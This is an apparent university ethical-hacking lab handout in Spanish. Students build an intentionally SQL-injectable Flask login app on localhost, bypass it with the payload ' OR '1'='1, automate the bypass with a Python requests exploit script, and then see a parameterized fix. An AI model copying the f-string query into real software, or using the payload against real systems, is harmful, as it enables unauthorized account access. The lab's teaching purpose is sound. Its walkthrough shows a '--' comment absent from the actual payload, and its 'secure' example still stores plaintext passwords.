Universidad Tecnológica Fidel Velázquez
Ingeniería en Redes Inteligentes y Ciberseguridad - Hacking Ético

Resolver el siguiente ejercicio contestando únicamente en las hojas. Enviar un sólo archivo en formato PDF a través de la plataforma Google Classroom. Valor de la actividad: 10 puntos.

Nombre del estudiante	
Fecha de la actividad	
Calificación	

Práctica 4: Explotación de Inyección SQL (SQLi) con Python

---

1. Resumen

En las prácticas anteriores, hemos configurado nuestro entorno, escaneado redes y extraído credenciales locales. Ahora, nos enfocaremos en la categoría de vulnerabilidad más común y peligrosa: las fallas en aplicaciones web.

La Inyección SQL (SQLi) es una vulnerabilidad que permite a un atacante interferir con las consultas que una aplicación hace a su base de datos.

Para garantizar que esta práctica funcione sin ningún error de configuración, vamos a adoptar un enfoque de Caja Blanca. Dividiremos la práctica en dos partes:

- Parte A: Actuaremos como desarrolladores y crearemos una pequeña aplicación web en Python (usando Flask) que es *intencionalmente* vulnerable a SQLi.
- Parte B: Actuaremos como hackers éticos. Primero, explotaremos la vulnerabilidad manualmente desde el navegador y, segundo, crearemos un script en Python (con `requests`) para automatizar la explotación.

2. Objetivos

- Comprender cómo se origina una vulnerabilidad de Inyección SQL (SQLi) en el código fuente.
- Instalar y ejecutar un servidor web simple con Flask y una base de datos SQLite.
- Realizar un ataque de SQLi manual basado en `' OR '1'='1'` para eludir un formulario de inicio de sesión.
- Desarrollar un script de Python que automatice el ataque de SQLi usando la librería `requests`.

3. Parte A: Creación del Servidor Vulnerable

En esta sección, escribiremos el código de una aplicación de inicio de sesión simple. La vulnerabilidad clave estará en cómo construimos la consulta SQL: usando concatenación de strings en lugar de consultas parametrizadas.

3.1. Paso 1: Instalar las dependencias

Necesitamos tres librerías de Python: `flask` (para el servidor web), `flask_sqlalchemy` (para manejar la base de datos) y `requests` (que usaremos en la Parte B, pero podemos instalar ahora).

Abre tu terminal en Kali y ejecuta:

```
pip install flask flask_sqlalchemy requests
```

3.2. Paso 2: Crear el archivo `servidor_vulnerable.py`

En tu VM de Kali, abre VSCode y crea un nuevo archivo llamado `servidor_vulnerable.py`. Pega el siguiente código *exactamente* como está.

```
#!/usr/bin/env python3
from flask import Flask, request, render_template_string, redirect, flash
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy.sql import text # Importante para ejecutar SQL crudo

# --- Configuracion de la App ---
app = Flask(__name__)
app.config['SECRET_KEY'] = 'esta-es-una-clave-secreta-insegura'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///./login.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

# --- Modelo de Base de Datos ---
class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password = db.Column(db.String(120), nullable=False)
    is_admin = db.Column(db.Boolean, default=False)

    def __repr__(self):
        return f'<User {self.username}>'

# --- Plantilla HTML (Simple) ---
# Usamos render_template_string para no necesitar archivos HTML separados
login_template = """
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>Login Inseguro</title>
    <style>
        body { font-family: Arial, sans-serif; display: grid; place-items: center; min-height: 90vh; background: #f4f4f4; }
        .container { background: #fff; border: 1px solid #ccc; border-radius: 8px; padding: 2em; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
        .form-group { margin-bottom: 1em; }
        .form-group label { display: block; margin-bottom: 0.5em; }
        .form-group input { width: 300px; padding: 0.5em; border: 1px solid #ddd; border-radius: 4px; }
        .btn { background: #007bff; color: white; padding: 0.7em 1em; border: none; border-radius: 4px; cursor: pointer; width: 100%; }
        .alert { background: #f8d7da; color: #721c24; padding: 1em; border: 1px solid #f5c6cb; border-radius: 4px; margin-bottom: 1em; }
    </style>
</head>
<body>
    <div class="container">
        <h2>Login Practica 4</h2>
        {% with messages = get_flashed_messages() %}
            {% if messages %}
```

```
                <div class="alert">{{ messages[0] }}</div>
            {% endif %}
        {% endwith %}
        <form method="POST">
            <div class="form-group">
                <label for="username">Usuario:</label>
                <input type="text" id="username" name="username">
            </div>
            <div class="form-group">
                <label for="password">Contrasena:</label>
                <input type="password" id="password" name="password">
            </div>
            <button type="submit" class="btn">Entrar</button>
        </form>
    </div>
</body>
</html>
"""

success_template = "<h1>Bienvenido, {username}!</h1><p>Has iniciado sesion.</p>"

# --- Rutas de la Aplicacion ---
@app.route('/', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        # Obtenemos los datos del formulario
        username = request.form['username']
        password = request.form['password']

        # --- AQUI ESTA LA VULNERABILIDAD ---
        # Construimos la consulta SQL usando concatenacion de strings.
        # Esto permite a un atacante "inyectar" su propio codigo SQL.
        query_sql = text(f"SELECT * FROM user WHERE username = '{username}' AND password = '{password}'")

        try:
            # Ejecutamos la consulta cruda
            user = db.session.execute(query_sql).fetchone()
        except Exception as e:
            print(f"Error en la consulta: {e}")
            flash("Error en la consulta SQL. Contacta al admin.")
            return redirect('/')

        if user:
            # Si la consulta devuelve un usuario, el login es exitoso
            # Incluso si la contrasena era incorrecta
            print(f"Login exitoso para: {user}")
            return success_template.format(username=user[1]) # user[1] es el username
        else:
            # Si no, el login falla
            flash('Usuario o contrasena incorrectos.')
            return redirect('/')

    return render_template_string(login_template)

# --- Funcion para inicializar la DB ---
def init_database():
    with app.app_context():
        print("Creando la base de datos...")
        db.drop_all() # Borra todo para un inicio limpio
        db.create_all()

        # Creamos usuarios de prueba
```

```
        admin_user = User(username='admin', password='password123', is_admin=True)
        user_carlos = User(username='carlos', password='PasswordSeguro')

        db.session.add(admin_user)
        db.session.add(user_carlos)
        db.session.commit()
        print("Base de datos inicializada con usuarios 'admin' y 'carlos'.")

# --- Punto de entrada ---
if __name__ == '__main__':
    # Inicializamos la base de datos solo si ejecutamos el script directamente
    init_database()
    print("Iniciando servidor web vulnerable en http://127.0.0.1:5000")
    # Ejecutamos el servidor en modo debug (NO HACER EN PRODUCCION)
    app.run(debug=True, host='127.0.0.1', port=5000)
```

Listing 1: Aplicación Web Vulnerable (servidor_vulnerable.py)

3.3. Paso 3: Ejecutar el servidor

1. Guarda el archivo `servidor_vulnerable.py`.
2. En tu terminal de Kali, en la misma carpeta donde guardaste el archivo, ejecuta:

```
python3 servidor_vulnerable.py

```

3. Deberías ver una salida que indica que la base de datos se está creando y que el servidor está corriendo en http://127.0.0.1:5000.

Listing 2: Salida esperada del servidor

```
Creando la base de datos...
Base de datos inicializada con usuarios 'admin' y 'carlos'.
Iniciando servidor web vulnerable en http://127.0.0.1:5000
* Running on http://127.0.0.1:5000
* ...
```

4. No cierres esta terminal. El servidor debe permanecer en ejecución.

4. Parte B: Explotación de la Vulnerabilidad

Ahora, nos ponemos el sombrero de hacker.

4.1. Paso 1: Explotación Manual (con el navegador)

1. Abre el navegador Firefox en tu misma VM de Kali.
2. Visita la dirección http://127.0.0.1:5000.
3. Verás el formulario de login.
4. **Intento de login normal (fallido):**
   - Usuario: `admin`
   - Contraseña: `1234`

   Resultado: Verás el mensaje *Usuario o contraseña incorrectos.*

5. **Intento de Explotación SQLi:** Vamos a usar la técnica de inyección SQL más clásica.
   - En el campo Usuario, escribe: `' OR '1'='1`
   - En el campo Contraseña, escribe cualquier cosa: `pass`
6. Presiona *Entrar*.
7. **¿Qué ha pasado?** La consulta original era:

   ```
   SELECT * FROM user WHERE username = 'USUARIO' AND password = 'PASSWORD'
   ```

   Al inyectar nuestro texto, la consulta que el servidor ejecutó se convirtió en:

   ```
   SELECT * FROM user WHERE username = '' OR '1'='1' --' AND password = 'pass'
   ```

   - `' OR '1'='1'` hace que la cláusula `WHERE` siempre sea verdadera.
   - El `-` (a veces se usa `#`) es un comentario en SQL. Le dice a la base de datos que ignore el resto de la consulta.

   Resultado: ¡Has iniciado sesión como `admin` sin saber su contraseña!

4.2. Paso 2: Automatización de la Explotación (con Python)

Ahora, vamos a hacer lo mismo, pero con un script.

1. Abre una **NUEVA** terminal. (Deja el servidor corriendo en la primera).
2. Crea un archivo llamado `exploit_sqli.py` en la misma carpeta.
3. Pega el siguiente código:

```python
#!/usr/bin/env python3
import requests

# URL del sitio web vulnerable (nuestro servidor local)
URL_LOGIN = "http://127.0.0.1:5000/"

# El "payload" malicioso que usaremos para la inyeccion
# Usamos la misma logica: ' OR '1'='1' --
# El -- comenta el resto de la consulta
SQLI_PAYLOAD = "' OR '1'='1"

def intentar_login_sqli():
    print("--- Iniciando ataque de Inyeccion SQL Automatizado ---")

    # Datos que enviaremos en el formulario (POST)
    # Simulamos lo que hicimos en el navegador
    datos_formulario = {
        'username': SQLI_PAYLOAD,
        'password': 'password_invalido'
    }

    print(f"[+] Enviando payload a {URL_LOGIN}...")
    print(f"[+] Payload: username={datos_formulario['username']}, password={
    datos_formulario['password']}")

    try:
        # Creamos una sesion para mantener cookies (buena practica)
        sesion = requests.Session()
```

```
28
29          # Enviamos la peticion POST con nuestros datos maliciosos
30          respuesta = sesion.post(URL_LOGIN, data=datos_formulario)
31
32          # Analizamos la respuesta del servidor
33          if respuesta.status_code == 200:
34              # Si el login fue exitoso, el servidor nos devolvera
35              # la pagina de "Bienvenido".
36              if "Bienvenido, admin" in respuesta.text:
37                  print("\n[!!!] ATAQUE EXITOSO")
38                  print("[!!!] Se ha eludido el inicio de sesion.")
39                  print("[!!!] Hemos iniciado sesion como 'admin'.")
40              elif "Usuario o contrasena incorrectos" in respuesta.text:
41                  print("\n[-] ATAQUE FALLIDO.")
42                  print("[-] El formulario devolvio un error. Esta el sitio parcheado?"
    )
43              else:
44                  print(f"\n[?] Respuesta inesperada del servidor:\n{respuesta.text
    [:150]}...")
45          else:
46              print(f"[-] Error: El servidor respondio con el codigo {respuesta.
    status_code}")
47
48      except requests.exceptions.ConnectionError:
49          print(f"[-] Error: No se pudo conectar a {URL_LOGIN}")
50          print("[-] Estas seguro de que 'servidor_vulnerable.py' esta en ejecucion?")
51
52  if __name__ == "__main__":
53      intentar_login_sqli()
```

Listing 3: Script de Explotación SQLi (exploit_sqli.py)

4.3. Paso 3: Ejecutar el Exploit

1. Asegúrate de que `servidor_vulnerable.py` sigue corriendo en la Terminal 1.
2. En la Terminal 2, ejecuta el script de explotación:

```
1 python3 exploit_sqli.py
2
```

3. Analiza la salida: Si todo funciona correctamente, deberías ver el mensaje de éxito:

Listing 4: Salida esperada del exploit

```
--- Iniciando ataque de Inyeccion SQL Automatizado ---
[+] Enviando payload a http://127.0.0.1:5000/...
[+] Payload: username=' OR '1'='1, password=password_invalido

[!!!] {\textopenexclamation}ATAQUE EXITOSO!
[!!!] Se ha eludido el inicio de sesion.
[!!!] Hemos iniciado sesion como 'admin'.
```

5. Conclusión y Discusión (15 min)

En esta práctica has visto el ciclo de vida completo de una vulnerabilidad SQLi:

- La Causa: La vulnerabilidad se creó en `servidor_vulnerable.py` en la línea `query_sql = text(f"SELECT ...")`. Confiar en la entrada del usuario y concatenarla directamente en una consulta SQL es la raíz del problema.

- La Explotación: Vimos que un atacante no necesita adivinar la contraseña. Solo necesita romper la lógica de la consulta SQL (`' OR '1'='1'`).
- La Solución (Prevención): ¿Cómo se arregla esto? Nunca se deben construir consultas con f-strings o concatenación. Se deben usar consultas parametrizadas.

El código seguro (usando SQLAlchemy correctamente) se vería así:

```
# LA FORMA SEGURA (NO VULNERABLE)
# SQLAlchemy (y otras librerias) "sanean" la entrada.
# Tratan la entrada del usuario como datos, no como codigo ejecutable.
user = User.query.filter_by(username=username, password=password).first()
```

Listing 5: El código seguro (no vulnerable)

Has aprendido a identificar, ejecutar y automatizar uno de los ataques más fundamentales y destructivos en la seguridad web.